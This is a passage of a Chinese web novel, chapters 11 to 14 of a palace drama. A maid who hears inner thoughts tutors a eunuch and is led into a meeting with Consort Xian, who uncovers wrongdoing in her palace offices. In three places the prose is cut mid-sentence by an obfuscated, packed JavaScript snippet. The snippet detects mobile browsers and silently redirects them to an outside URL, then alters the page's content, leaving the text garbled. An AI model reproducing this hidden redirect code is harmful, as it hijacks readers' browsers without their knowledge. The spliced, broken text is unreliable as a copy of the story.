小定子看着她,用最少年的脸庞说出最老成的话:“我七岁入宫,在宫里呆了八年,看人还是有一套的,你在我这里打听各宫妃嫔的为人和喜好,以及皇上晚上歇在哪个宫,任谁都知道你在准备什么。” 沈青青抿唇,这小破孩。 “况且你对杜宝林不如对其他嫔妃一半热忱,这种情况下除了要走别无他想,人往高处走水往低处流,我理解你,所以不管你想去哪个娘娘的宫中亦或者是御前,只要你帮了我,我就会帮你。” 沈青青吐槽:“就算我真想走,我为什么要相信你有这个能力?还有,我才不去御前,我的目标可是当上后宫娘娘的大宫女。”最好这个娘娘是最终赢家,这种押宝投注可太刺激了。 自古皇帝多疑心,就算她有心声加持,万一皇上是个口是心非、心口不一的人呢。而且御前多危险,两个大太监钱全忠和王积贵全在,敢在他们的眼皮子底下动心思,是嫌自己死的不够快吗? 光小定子都能看透她的心思,足见这些太监心眼有多多,不去御前,死都不去! 这从另一方面也说明了,沈青青完全没有修炼到位,或是说,她在小定子面前放松太早了。 小定子眼神一飘:“我现在确实没有能力,但御前的小王公公在收徒,如果我被选上了,你去哪里我都能安排。” 沈青青明白了,她被画大饼了。 也是,如果小定子有门道,何苦留在思过斋。但若说小定子没点能力,沈青青是不信的,能把宫中大小事,在一天三次去膳堂取膳的过程中打听清楚,何尝不是一种能力? 如今机会来了,可他却不识字,注定会被筛下来。 能进宫当太监的多是家里贫寒到实在活不了人了,才一狠心来碰碰最后的运气,更别提识字了。能识字的太监满宫都少有,称为太监中的佼佼者也不为过。 眼见着沈青青不说话,小定子也低头沉默起来。 沈青青无奈,念着同在思过斋的交情,同想往上爬的心路:“我教就是了,但丑话说到前头,你学得太慢,可不关我的事。” “还有小王公公是谁?” 小定子又恢复了一派懒散模样:“御前王积贵的徒弟王有得。” 沈青青笑道:“你若成功,就成人家的徒孙了。” 小定子不在乎这:“本就是人下人,给谁当不是当。” 沈青青沉思:“也是,厉害的太监多着呢。” 即便是奴才,谁又能说清他们的未来? 现下距离杜宝林搬进思过斋已经过去一个月,时间也步入四月,阳光明媚春色扰闹,御花园中的牡丹、海棠、丁香等花正值花期接连盛放,各展花姿尽态极妍,后宫的娘娘们也变得爱去御花园争奇斗艳起来。 11. 第 11 章 书阁中的废书中没有启蒙类的书籍,沈青青和小定子找了许久都没找到,最后沈青青找老太监要了些纸和笔墨,默了一篇千字文给小定子。 并根据前世学英语的习惯教了他前五十个字的发音,让他每天看着千字文读一读写一写,熟悉里面的字型。 这个时代的文字难就难在它是繁体字,且日常中很少用到,不像上一世那样能上网冲浪,全民被文字包围。 在这个朝代,底层人不用识字,也能靠常识和生活技巧过的不错,读书识字的最大用途便是科举。 再比如,宫中私底下传信很少用纸条,一是识字的宫人不多,二是容易留下证据,所以宫人多以传口信的方式交流。 但宫中的女官,因为需要看懂账册识字却是必需,在选拔女官的过程中,其中有一项便是书面考试,考不过的宫女只能等下一年。还有一部分女官因为有技术被破格提拔,但不识字,终不能走到各司各局的权力中心。 原本的沈青青或许也有当女官的想法,但自从被分到织云殿后,见足了大宫女的风采,比起困难重重的女官之路,她更想走捷径。 人都是惫懒的,如果杜宝林还是那个婕妤,她或许会依靠着心声在杜宝林身边努力奋斗,然而杜宝林被贬,复起难度大不说,时间线拉的还久,与其如此,跳槽简直是一条捷径。 爱走捷径的人,会一而再,再而三选择那条更容易的路。 沈青青觉得这没什么不好,本来她就出身商贾,又不是出淤泥而不染的高洁人物,趋利才是她的本性。再者她有了上辈子的记忆,对封建阶级看得更清,知道出身在他们尊贵的一生中占了多大比,至此尊卑那条线在她心中开始变得虚无起来。 就像她本能怕皇上身边从底层爬上去的两位大太监,却对皇上没什么感觉。 像珊瑚一样因杜宝林的施恩变得忠心耿耿?不存在的。 沈青青对杜宝林有着任人挑不出错的尊敬,但却把握着与杜宝林的距离,不过分亲密,也不过分疏远,惹其排斥憎恶。 同样,杜宝林也没把沈青青当成心腹,可能也觉得她虽在那种时候留在了她身边,身上却也没什么她需要的闪光点。毕竟,一个十三四岁只会干活的丫头,拉拢她做什么? 【毛都还没长齐呢!】 杜宝林欣赏了下镜子中眼尾晕染了大片红色却不显得突兀的妆容,满意点了点头:“把这个擦了吧,画一个日常的妆容。” 她姿态在一刻闲适下来,毕竟还有心力在蛐蛐沈青青。 “是。”沈青青面不改色,仿佛没有听到杜宝林的心声,心神都在杜宝林那张脸上。这个时候方嬷嬷还在用膳,杜宝林即便不将计划和沈青青和盘托出,却还需要沈青青来化妆,于是她们便开启了漫长的试妆。 沈青青安静换完装,安静上茶,然后便退了出去。 不窥视,不多嘴,她和杜宝林都满意这种相处方式。 至于杜宝林腹诽她的那句毛都没长齐,沈青青转身见没人便哼了一声。 但杜宝林这次可是说错了,因为前几天,沈青青第一次来了月信,虽然没有防备,但好在一个人住一屋,无形中就少了许多麻烦。 也许是她身体健康,时不时加餐的原因,月信只有在来的时候疼了一下,之后便没什么不爽。 但想到古代女子十三四岁来月经,十五六岁就能进宫为妃,她还是敬佩了一下,转而想到杜宝林现在也不过十七八岁,经历就如此丰富,心中就很复杂。 沈青青估摸着她还能再长高几厘米,便将此事放在了一旁。 另一边,小定子表现出了极强的学习能力,加上废寝忘食,他很快就将千字文学完,然后他开始看书阁的书,不认识的字便描下来之后问沈青青。 书阁的老头在小定子给他带了几次酒后就将书阁朝他敞开了,毕竟只是些没什么价值的废书,不然也不会派他一个老太监在这里守着。 但小定子再怎么天才,短短一个月的时间也不会比过旁人从小的功底,他的字不仅丑还会缺笔。 若拿到旁人眼前,自是看都不待看,好在沈青青这个老师不嫌弃。 缺笔不可怕,因为她本身就会简笔字,丑也不可怕,因为她见过更丑的。 又一日的教学完成,再一抬头看,探进思过斋的不知名花枝都要开败了,原是已经步入了五月,天气渐渐热起来。 沈青青回到自己的屋内,拿出本子,开始小定子的消息总结四月份嫔妃资质。 四月份嫔妃的斗争多集中于御花园。 四月初三,长春宫的颜修仪久违来到御花园,碰上同样赏花的惠贵嫔,两人一同行走,恰好圣驾来了后宫,去了御花园,颜修仪和惠贵嫔接驾,晚上,皇上宿在了颜修仪宫中。 过了几日,颜修仪和惠贵嫔仍旧在一起聊天。 沈青青心想,颜修仪本来恩宠就少,但两人之间,皇上宁愿选颜修仪也不愿去惠贵嫔那儿,是当真对惠贵嫔不敢兴趣。还有,颜修仪和惠贵嫔感情好到已经是后宫众人皆知的事了。 然后是四月初八,高美人和卫贵人在御花园赏花撞见,卫贵人的位份虽比高美人高,但高美人作为有名的冷美人,撞见便直接离开了,并未行礼。由此可见,高美人和卫贵人不和。 第二日卫贵人侍寝,被赐了“玉”字做封号,成了玉贵人,高了贵人半阶。 沈青青继续在玉贵人后面添颗星星。 之后高美人和玉贵人又遇上,高美人这次行了礼。紧接着皇上便翻了高美人的牌子,之后赏赐了些布匹瓷器。 一个月下来,高美人和玉贵人侍寝的次数差不多,但因为侍寝前后的巧合,沈青青更倾向于皇上在后宫有眼睛,每日宫中发生了什么都会被他知晓,所以皇上才能用恩宠补偿这个敲打那个,维系平衡。 除此之外,德妃和贤妃皇上都去坐过,用过膳。 德妃不常出永寿宫,贤妃则喜欢赏景,除了景仁宫内花房送来了许多盆栽,也时不时爱在宫中有好景的地方出现。 两宫被管理的跟个铁桶似的,什么消息都没流出来。 贤妃那里还能听个只言片语,遇到的宫人都很喜欢这个温和的娘娘。 性格好吗?沈青青在贤妃和德妃二人后面均添了一颗星星。德妃缜密,贤妃有好名声,并驾齐驱。 不过,沈青青合上本子,既然贤妃会在宫里转,那她不就能有接触见一面贤妃的机会。 思过斋偏僻,但恰好临着一个园子,景不说多好,也不算差,正适合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279960|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守株待兔。 沈青青躺到床上,梦里都在想这些事。 时间一天天过去,杜宝林被方嬷嬷压着学宫规知对错了三个月,三个月,每天上午两个时辰下午两个时辰,按三十天一个月算,就是三百六十个时辰,七百二十个小时,结果杜宝林硬生生凭着强烈复起的期盼,撑着没疯。 许是也知道不能在被思过时还闹出事,所以只有在第一天到思过斋没搞清状况摔过东西后,就再没在人前发过脾气。 但其实,因为心声的缘故,沈青青听到过几次杜宝林对珊瑚发脾气,事后又愧疚,然后补偿了一堆东西,之后,珊瑚对杜宝林就更一心一意了。 如果沈青青没观察到珊瑚手臂上的掐痕的话,她还能勉强催眠自己杜宝林是个能自省的好主子。 但她发现了珊瑚胳膊上不正常的伤痕,就只想赶紧远离这对主仆。 什么锅配什么盖,她也根本劝不动珊瑚。 送走方嬷嬷的那一天,杜宝林和珊瑚俱是长长舒了一口气。 杜宝林转身对小定子吩咐:“去尚宫局的司薄司,就说我这里缺一个宫女,让他们尽快添补进来。” 思过斋少宫女用,方方面面都有疏漏,杜宝林早就曾派珊瑚去尚宫局问过此事了,但他们推脱各宫都用人,不够派遣,另外方嬷嬷占了思过斋一个宫女份额,说什么原就不该再添。 可方嬷嬷的月例并非走的思过斋,怎么算得上思过斋的人呢? 杜宝林听后自是生气,却无可奈何,她得罪的人太多,已经搞不清谁在使坏了,甚至她没得罪的人保不准也会来踩她一脚。 杜宝林想起珊瑚去尚宫局的艰难,便冷眉又道:“带不来人,你就别回来了。” 小定子怯懦道:“是。” 沈青青对他炉火纯青的变脸表示钦佩,丝毫没有意识到俩人半斤八两。 借着杜宝林的吩咐,小定子这几天常在外面跑,珊瑚问起来,他就拿杜宝林要他办事来堵嘴,实际上尚宫局他每天都去,站一刻钟,尚宫局不给人,他就去干自己的事了。 晚上照常回来,第二天一早又打着办事的名义出去。 沈青青:“……” 没谁鸡贼过小定子了。 等到第六天,杜宝林的脾气已经压抑到了极限,只待一个爆发的口,眼见着杜宝林的不稳定,沈青青不是站桩当木头人,就是手上活不停下,丝毫不给杜宝林发作的机会。 而中午的时候,高压了一上午的沈青青终于见到小定子回来了,身后带着一名和沈青青差不多大的小宫女。 小定子装模作样道:“佩佩,这是你青青姐。沈青姑娘,我先带佩佩去见主子。” 沈青青看清佩佩的模样,很水灵的小姑娘,便道:“好。主子有些生气,你注意着点。” 不知从何时起,小定子爱叫沈青青为沈青,因为可能听着确实方便,杜宝林和珊瑚便也这么叫她了。 小定子感激地朝她看来。 等人走后,沈青青盯着小定子的背影,心想他所求的事大抵是成了,不然不会是这般带着意气风发的意味,跟往日混吃等死的模样差别很大。 那她跳槽的事,岂不成了一大半? 不行,她得再去翻翻她的册子。 12. 第 12 章 佩佩来之后,沈青青的活果然轻松了许多,但不用打扫庭院,意味着她伴在杜宝林身边的时间变得多起来。 杜宝林是六月初解了变相禁闭,在思过斋安分了几日,便迫不及待想出去透透气。 她要出去走走,一想到可能遇见她讨厌的,故意来看她笑话的人,便让沈青青给她化了个漂亮的妆,输人不输阵,杜宝林可不想在这种时候被看轻。 示弱?不存在的。 沈青青给杜宝林上完妆后,杜宝林欣赏了一番,让人拿出她最漂亮的衣裳,六月份天已经热起来了,但这些娘娘们的衣裳,用了最好的料子,不仅薄,垂坠感还很好,且不会显得很透很轻浮,反而既凉快又典雅。 因杜宝林的这身衣裳是青色系,让她看起来青翠欲滴,宛若夏天沁人心脾的一抹亮色。 她的发饰由珊瑚很简单点缀了下,并没有用金簪金钗,反而很衬此时的她。 杜宝林和珊瑚的审美是绝对没问题的。 沈青青问:“主子,可要奴婢跟着去?” 杜宝林:“不必,珊瑚随我出去即可,你留在思过斋。” 沈青青:“是。” 杜宝林带着珊瑚高高兴兴出了思过斋,直到她们走到拐角,看不到身影,沈青青才从门口回去。 她先沏了一壶解渴的茶,找佩佩一起喝。杜宝林的茶存货颇多,她不爱的茶叶就分发给了宫人,因为沈青青是管茶叶的,她到手最多。 佩佩是个话不多的小宫女,来到思过斋日子不久,只知道埋头干活。 因为活被分走了,沈青青就常带东西和佩佩分享。 两人相顾无言,只一起躲懒。 然而,杜宝林出去了一个时辰还没回来,沈青青终于意识到了不对,喃喃道:“我出去找找宝林。” 佩佩拉住了她:“姐姐,主子遇上都回不来的事,我们小宫女能干什么?” 呃…… 沈青青抬头望天,虽说确实如此,可她心中还是很不自在,于是取了个折中的法子:“我在思过斋门口等宝林。” 如果宝林回来见她无所事事,定然要生怒,况且还不知宝林遇见了什么事,她这心中不由忐忑地左思右想起来。 沈青青站在思过斋门口,向远处望了又望,时间一点一点过去,本来担忧的心情逐渐焦灼起来。 她遵从本心地往外走了走,忽然看到扶着杜宝林回来的珊瑚,杜宝林双目无神,嘴唇干裂,脸颊上印着清晰的巴掌印,头上的发饰还丢了一件。 沈青青连忙跑过去,扶上杜宝林的另一只胳膊,焦急询问:“主子这是怎么了?” 珊瑚宛如遭了重创,只说:“主子去御花园……”就悲上心来,说不出口剩下的话。 杜宝林侧眼望向沈青青,目光细致到将她的脸庞一寸寸刮过似的。 仿佛在评估她是不是真的担心她这个主子。 杜宝林的心声乱糟糟的,情绪起伏很大,大部分和高氏有关,看到沈青青,又掺杂了几分评判。内心一不安定,就觉得谁都有罪。 沈青青悄悄咽了口吐沫,这时候就不能不表现了,于是心疼的眼泪唰一下就出来了:“主子,奴婢去给主子请太医!” 杜宝林抓住沈青青的手掌,道了声:“不必。”然后才将视线移走,似是不忍再看那宫婢的泪水。 沈青青和珊瑚扶着杜宝林回到思过斋,又扶杜宝林到床上。 杜宝林呆呆抱住膝头。 【我不会放过你的,高氏!】 那声音像指甲刮过破旧琴弦,让人刺耳难忍。 沈青青吓了一跳,跟着找药的珊瑚同出寝屋,找准机会询问珊瑚道:“姐姐,只是出去逛一逛,到底发生了什么事?” 珊瑚正无神,遇到沈青青的问询,选择和盘托出:“主子在思过斋呆了那么久,只是见天气好出去转一转,已经避开了嫔妃常去的地方,可还是被高美人堵住了,高美人记恨主子曾经打过她两巴掌,便寻了个以下犯上的理由掌主子的嘴,还让主子在人来人往的宫路上跪了一个时辰。” “主子不认,是高美人的人压着主子跪的,连我也被拦住了。主子受了莫大的屈辱!” 高美人知晓杜宝林最在乎脸面,于是就将她的脸面狠狠踩在脚底,以报往日的不痛快。 沈青青吐出一口气,全赖杜宝林先前不做人,一朝失势,人家回敬了回来。但在珊瑚面前,该有的态度还得有。 “这高美人太可恶了!” 珊瑚找到药,匆匆说了句:“谁说不是呢。”就急急忙忙进去了。 沈青青去打了水,拿上干净的帕子进去服侍杜宝林。 杜宝林还是那副呆呆的样子,珊瑚深知杜宝林的脾气,这个时候什么也不敢劝说,只默默陪着杜宝林,眼中带着怜惜之意。 沈青青端着盆子蹲了一会儿,时间一久必会不稳,便根据杜宝林心声变化,找准时机轻声道:“主子,来日方长。” 珊瑚如梦初醒,也跟着劝慰:“主子,想想您的计划,高美人不足为虑,当初她斗不过您,往后她也斗不过您!” 杜宝林抿了抿唇,终于从莫大的屈辱中回过神。 字字深刻道:“你们说的对,今日之耻,他日我必百倍奉还。” 沈青青低头默然,只觉松了口气,也不管杜宝林的疯狂。 如果能报复到高美人,恐怕她现在什么也敢做。 珊瑚为杜宝林重新梳洗了一番,膝盖上敷药,然后目光落到杜宝林的脸上,不由皱了皱眉。 高美人那两巴掌不知道练了多久,明明是手无缚鸡之力的后妃,却直接将杜宝林给扇肿了,杜宝林的脸颊居高不下。 珊瑚一时无法,最善药理的朝露不在身边,她只能问杜宝林:“主子,要不我们还是请太医吧?” 杜宝林挑眉讽刺:“还嫌闹出来的笑话不够多吗?” 珊瑚噤声。 杜宝林看向沈青青:“晚霞将养颜方子都交给了你?” 沈青青说是,杜宝林这几个月的脸上护肤都是她来做的,对常用的几个方子也烂熟于心。 “晚霞有一张益母草泽面方,你将它调配出来,我有用,尽快。” 益母草泽面方能改善皮肤皲裂,杜宝林这个情况也差不多如此。 沈青青领命退下。 益母草泽面方最主要的原料就是益母草粉,然而思过斋并没有这种东西,她得去司药司找一找。 佩佩听到她要去找益母草粉,连忙撂下手中的活。 “姐姐,我知道宫中哪里长着益母草,我带姐姐去。” 沈青青眼睛一亮,如今杜宝林这个境况,她去司药司取东西必然会被推三阻四,事情办不成,杜宝林找不了司药司的麻烦,还对付不了她吗? 她可不想惹现在的杜宝林。 沈青青:“好啊,你跟我一起去。” 佩佩带路,与沈青青并行离开思过斋。 走了大约一刻钟的路程,沈青青刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279961|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想问佩佩怎么还没到,便听到一墙之隔的笑闹声,她抬头看,园门上的牌匾上有三个字,逸趣园。 再看园内,有一位穿着宫装的女子正在和宫女一起采花,间或比谁的花束好看,更香。女子脸若银盘目似水杏,端得是灵动温柔,动静皆宜,福泽饱满的模样。 沈青青被惊艳了一下,这位和杜宝林是不同风格的美人,就是不知是宫中的哪位娘娘了。 她转身想找佩佩,却不知佩佩何时离开了,而她又不知佩佩所说的长着益母草的地方在哪儿,不免一时呆滞。 正在她原地打转的时候,逸趣园中的宫女发现了她,出来问道:“你是哪宫的人,怎么在这儿徘徊?” 沈青青行礼,根据宫女服饰认出这位是名大宫女,于是老老实实解释:“奴婢是思过斋的宫女,和人出来找益母草,到这里奴婢听到声音有些失神,再回头却找不见与我一同来的宫女了。” 大宫女萱草了然:“宫内除了司药司没有何处种植益母草,你怕是被人诓骗了。” 沈青青惊讶,心想,佩佩是小定子带回来的人,骗她的可能性极低,只怕有隐情……可是人家一个大宫女,戏弄她作甚? 沈青青眨了眨眼,还带了点迷茫,她犹豫道:“谢谢这位姐姐指点迷津。” 找到佩佩一切都明了了。 “不信?”萱草看见小宫女并非全然相信的模样,于是眼珠子一转好心道:“你既是思过斋的宫女,想必我家娘娘会很感兴趣你的事,你等着,我去传报给娘娘!” 然后根本不给沈青青拦的机会,跑的飞快。 沈青青从未见过这么活泼的大宫女,一个没拦住,手还伸在半空时,萱草就已经提着裙子跑向了那位娘娘,发带也随之飘了起来。 沈青青惴惴不安候在逸趣园园门口。 这个时候游园,随身侍候的宫女也多,她可以大胆往高了猜位份,心中适时冒出了一位后妃,贤妃。 贤妃这么年轻? 沈青青恍然记起贤妃入太子府不久皇上就登基了,年轻是应该,不能因为人家年纪轻轻封妃就质疑人家的年龄。 - 逸趣园园内。 萱草靠近贤妃,口口声声唤着娘娘,便将方才的事说明白了。 贤妃纳罕:“萱草你个小丫头,就因为她是思过斋的人,就觉得本宫会感兴趣?” 萱草恃宠而骄道:“娘娘,也不知是谁对那杜氏感兴趣,天天念叨,奴婢这耳朵都快起茧子了。” 贤妃将手中的花扫在萱草身上:“没大没小,人家是杜宝林,皇上不喜欢人没规矩的样子。” 萱草连忙闭嘴,反而贤妃沉吟道:“今天杜宝林受难,作为高位嫔妃之一,理应关怀关怀,你请她进来吧,本宫问问杜宝林情况可好。” 皇上的后宫嫔妃,最高的资历也没有在皇上身边呆够三年,一个占据两年宠爱的杜宝林,很难不引起人注意。 且她今日出门就是听闻了杜宝林被高美人罚跪之事,可行到一半,发觉不妥,这才改道来了逸趣园。 贤妃高门出身,即便从小被教导要贤良淑德,不可多疑善妒,可她心底控制不住羡慕杜宝林,能得皇上的长久宠爱。 而她……想来她打理好宫务,皇上便会对她多上心几分。 那般优秀又一等一尊贵的男子,她又不是他的妻,怎么能期盼那么多? 贤妃心中难过,却为免宫人紧张,脸上还是带上了笑,只是那双眼睛到底暗淡了些。 13. 第 13 章 沈青青被带进了逸趣园,走到贤妃面前,行礼道:“奴婢参见贤妃娘娘,娘娘金安。” 贤妃道了句平身,好奇问:“你找益母草做什么?” 沈青青:“奴婢的主子脸上有瑕,命奴婢调配养颜面方,其中最主要的原料是益母草粉,思过斋没有这东西,奴婢便出来找一找。” 她略过佩佩不提,她信任小定子,不相信作为小定子的人——佩佩会坑她,更大的可能是小定子吩咐佩佩引她来这儿的。 所以是小定子知道贤妃会在这里,也知道她的打算,特意将她引到这里。 那么今天就算没有益母草,也会有别的其他的借口。 而她只需要借着这个机会,好好观察这位贤妃娘娘。 贤妃只听自己想听的,立即问道:“杜宝林的脸怎么了?” 虽然语气并不幸灾乐祸,但也没有多少担忧就是了,有的只是急切想知道杜宝林那张脸的现状。 萱草拉了拉贤妃的衣袖,觉得自家娘娘的心思简直昭然若揭,现下杜宝林的宫女还在这,还是表现一番为好。 沈青青露出为难神色。 贤妃缓了语气:“益母草粉司药司应当会有,何不去那里取?” 沈青青如实道:“奴婢人微言轻,司药司忙碌起来,恐怕顾不上奴婢。今日是奴婢唐突了贤妃娘娘,请贤妃娘娘不要怪罪奴婢。” 贤妃大度道:“你也并非有意,本宫怎会怪罪,等会儿本宫让萱草跟你去一趟司药司,完成你身上的差事。嗯,你叫什么名儿,本宫手握一半宫权掌管后宫,理应了解一下嫔妃的难处,便……先说一说思过斋你们杜宝林可有什么不便吧。” 看着贤妃一本正经再次将话题引导到杜宝林身上,贤妃身旁的两名大宫女相视一笑。 沈青青也觉得有点有趣,而且贤妃似乎并不威严,即便对待她这个不值一提的宫女都没有杜宝林那种高高在上的俯视。 沈青青微妙地将贤妃与杜宝林对比起来,不由心想为什么当初分宫时没那么好运分到贤妃的景仁宫中。看贤妃身后宫女的样子,便知道她不是个严厉的主子。 “奴婢名叫沈青青,娘娘可以唤奴婢沈青。贤妃娘娘体恤后宫,奴婢便斗胆直言了。” 贤妃目光看向沈青青,催着她快些说。 沈青青低头道:“思过斋没有什么不好,主子住的没有半分不适。只是教导主子的方嬷嬷在时,思过斋的宫女人数始终少一名,等方嬷嬷走后,主子让人去司薄司要宫女,谁知被推三阻四,连去了好几日才分拨过来一名宫女。” 因为这事,杜宝林自然不快,沈青青也不堪其扰。 萱草眼神锐利出声:“司薄司隶属尚宫局,乃娘娘所管辖之地,娘娘自始至终都没有让尚宫局的人苛待思过斋,从始至终都说要依规矩行事。” 贤妃也一惊,尚宫局是她管理的三局之一,万事万不敢有丝毫疏忽,更是嘱咐底下的人莫要因为一些嫔妃的位份不高而为难她们。 她承认她让人在杜氏从婕妤贬到宝林时撤回了她婕妤待遇,心中有过高兴,但正因发生了此事,她还特地在事后询问办事的宫人有没有刁难杜宝林,得到的回答是信誓旦旦保证杜宝林应有的没有缺漏。 为避免歧义,她问了两遍! 结果今天告诉她,从杜宝林当宝林的第一天起,她就缺一名宫女用。 贤妃吐出一口气,脸上的高兴落了下来。今天她只是妃子,只管三局宫务都不能做到事事妥帖,试问,皇上知道还能对她委以重任吗? 沈青青见此不知如何回答,最终抿唇道:“奴婢所言没有半分虚假,可经得起查证。” 小定子做事真真假假,他确实连续几天去了尚宫局,确实无功而返。 正因如此,她才觉得今日这事像小定子的手笔,经得起查验。 萱草看向她家娘娘,皱眉,若真有宫人敢欺上瞒下,只怕思过斋这只是冰山一角,有人借娘娘之手给杜宝林不快,还能将脏水往娘娘身上泼。 贤妃也想到了这种可能,若今日有人能借尚宫局缺杜宝林一个宫女,是否明日就能借她管理之下的其他司局往杜宝林身边输送其他不好的东西? 贤妃觉得自己真是安逸惯了,居然没早早发现问题。 可是,德妃掌管着尚服局、尚食局、尚功局,衣服首饰入口的东西,不更容易被动手脚吗? “思过斋宫女一事是本宫的疏漏,除此之外,杜宝林每日的膳食、衣物用品可有什么不妥缺损?” 沈青青思索着摇了摇头:“回娘娘的话,膳食衣物没有任何不妥,分给杜宝林的东西亦没有粗制滥造敷衍了事。” 她还纳闷,明明杜宝林都一落千丈了,但一些管事姑姑却更是对她恭恭敬敬,不顺的地方也少,不然也不会一个宫女就让杜宝林耿耿于怀。其他地方没有缺漏,怎么一个份内的宫女却要不来? 萱草通身没了方才质问的尖锐,担忧地看向自家娘娘。 贤妃却谁也没看,只说了句:“不晚。” 沈青青迷茫,又听贤妃娘娘惭笑道:“恐怕萱草不必去司药司,沈青你亦可取到益母草粉。待取到后,本宫在这个园子里等你,可好?” 司药司隶属尚食局,德妃手下。 沈青青点头:“奴婢能让娘娘用得上,是再好不过了。” 说完,她恭恭敬敬退离贤妃,然后立刻去司药司走一趟。 在路上,沈青青脑中飞速运转,将六局和贤妃、德妃对应上,再结合贤妃所说的话,这一切便如拨云见日般明晰了。 难怪,难怪。 皇帝将宫务一分为二分给贤妃、德妃,代表着她们在皇帝心中是差不多的,如果要在后宫选皇后,那么宫务的优劣就是考校的标准。 又因贤妃和德妃一样的高门教养,如果比谁处理宫务更优秀,亦是拉不开差距。可如果有一人疏漏频频,自然就显得另一个人多么出色。 杜宝林缺宫女这件事正看反看责任都在贤妃身上,左不过是御下不严和无慈悲之心的区别,这要贤妃是承认自己能力不行还是心地不好容不下低位嫔妃呢。 且贤妃手下真的只出了杜宝林这一件事吗? 手底下人欺上瞒下真的是第一次这么干吗? 沈青青光是想想都头疼,不过贤妃既然说不晚,应当是有法子应对的。 她到司药司,里面的人一听她是思过斋的,便停下手中的事,将沈青青所需的益母草粉找到称量后交给她,然后又在沈青青的见证下登记,确保思过斋真的取了这些斤两的益母草粉。 宫人在司药司进进出出,果然极其有条理,半点没有沈青青想的刻意刁难思过斋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279962|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是她以小人之心度君子之腹,以为司药司是另一个司薄司了。 沈青青脚程快,回逸趣园途中没耽搁什么,见到贤妃坐在亭子里,她先是上前行礼,然后带着天真般的敬仰道:“娘娘果真料事如神。” 结果分明,纵然早有所料,贤妃的心还是不可避免一沉,默默无言。 萱草将沈青青拉走,留给娘娘独处空间,同时掏出一枚玉佩塞到沈青青手心:“沈青,你帮了娘娘一件大事。这枚玉佩你拿着,若日后有求于娘娘,我萱草能帮忙的事,可拿着玉佩到景仁宫求见娘娘,亦或者来找我。” 这是一枚圆形的青色玉佩,只有最外面雕了一圈花纹,中间没有任何标识,就连系带的红绳都很普通,只除了玉佩本身很贵重,料子足够好,其余便没什么奇特了。 沈青青推拒:“奴婢没有办成什么大事,是娘娘体恤我们思过斋,体恤我家宝林。” 萱草爱怜地摸了摸沈青青的头发,不容拒绝道:“收着。拿了东西却并不意味着娘娘以后会肆意吩咐你做事,而是真心想护你。” 萱草将贤妃的意思表达的很明白,沈青青听懂了,萱草不是翠环之流,收买她为她们办事。 再者,若不是调查清楚沈青青遇见她们贤妃真是意外,萱草也不会将这玉佩给这小宫女。 她现在格外庆幸她今日对这个不知所措的小宫女感到好奇,继而引出这事。 丝毫不知贤妃已经在短短时间内调查过自己,沈青青表露开心收下:“谢谢萱草姐姐。” 沈青青年纪小,样貌又秀丽可爱,流露出的模样一点也不让人觉得功利,反而显得纯粹,在这宫中很是难得。 萱草仗着身高优势又撸了一把沈青青的头发,目送沈青青离开,这才回到贤妃身边。 这边贤妃焦头烂额还有心力安慰萱草。 另一边沈青青一回思过斋,见到佩佩不好意思对她笑了笑,便彻底明白今日的事就是小定子安排的。小定子不过大她两三岁,居然连事先通知都不做,害她没有丝毫准备。 但当务之急是将杜宝林需要的面方制作好…… 沈青青心中愤愤,捣珍珠粉时全发在了上面,导致珍珠粉细腻极了。 她拍了拍额头,冷静下来,今日她并非一无所获,不仅接触了贤妃,还得到了贤妃的信物,但同时她好像还被利用了。 一切,只等去找小定子才能问清楚,问他究竟要干什么。 沈青青做好面方,便去找杜宝林,杜宝林自回来后就一直呆在屋内,等沈青青进去,她问:“怎么这么慢?” 沈青青回道:“去取益母草粉时路上耽搁了。” 说完,她便有些懊悔,应该找个好点的借口,若是杜宝林问她路上怎么了,难道她要牵扯出贤妃吗?别管现在的沈青青和贤妃有无联系,在杜宝林心中,有过牵扯,就会疑心大起。 如果小定子在这,可能就会回,司药司人有点多,他脚程慢了。 这能说他说谎了吗?明明全是实话。 这样,杜宝林大概就不会再问。 沈青青忽然明白小定子为何喜欢这般行事,但现在懊恼已经无济于事,话已经出口收不回来了,幸而,杜宝林没有深究,只道:“来为我敷上。” 沈青青服了服身,开始上前为杜宝林用面方敷脸。 14. 第 14 章 小定子下午的时候不知道去哪里了,思过斋并不见他的踪影,因此沈青青格外关注小定子住处的方向。 终于,小定子回来了,两人对视一眼,沈青青放下手中的活,跟着他进入屋内。 小定子转身将门关上,问:“今天可顺利?” 沈青青同时问:“佩佩是你吩咐引我去见贤妃?” 两道声线交叠在一起,两人一顿,小定子目光不避地看向沈青青:“是。” 